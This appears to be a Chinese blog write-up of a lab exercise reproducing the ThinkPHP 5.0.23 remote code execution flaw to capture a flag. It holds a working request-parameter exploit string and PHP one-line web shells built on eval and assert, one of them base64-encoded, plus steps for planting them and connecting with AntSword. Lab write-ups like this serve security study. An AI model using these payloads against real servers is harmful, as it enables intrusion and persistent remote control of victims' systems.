ThinkPHP5.0.23 远程代码执行漏洞

ThinkPHP5.0.23 远程代码执行漏洞

漏洞描述:


ThinkPHP 是一款运用极广的 PHP 开发框架。其 5.0.23 以前的版本中,获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞影响:


ThinkPHP <= 5.0.24

环境复现:

靶场地址【安鸾渗透实战平台】地址

漏洞复现:

在kali中查询Thinkphp5.X相关漏洞,发现存在。

查看该漏洞文件。

 发现完整版thinlphp5.0.23版本的poc。

 由于是post传参,所以用burp抓包或者浏览器插件,插入刚才的poc

 得到运行后的结果。

 使用phpinfo函数验证_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

 发现返回结果。

 

 我们创建一个shell2.php文件并向文件中写入一句话脚本。

发现上传成功。

 访问脚本,发现报错,猜测是编码的问题。

 

尝试编码执行echo “%3c%3fphp+%40eval(%24_POST%5b123%5d)%3b%3f%3e” > shell2.php

 发现还是报错。

尝试使用base64编码写入并且使用assert代替eval

zzz<?php @assert($_POST['xss']);?>yyy

enp6PD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/Pnl5eQ==

 进行poc上传。

访问发现回显成功。

 蚁剑进行连接,这里采用chr或者base64。

 

 

 连接成功,成功进入到后台。

 在根目录下发现flag。

 查看flag。

猜你喜欢

转载自blog.csdn.net/qq_48985780/article/details/121435111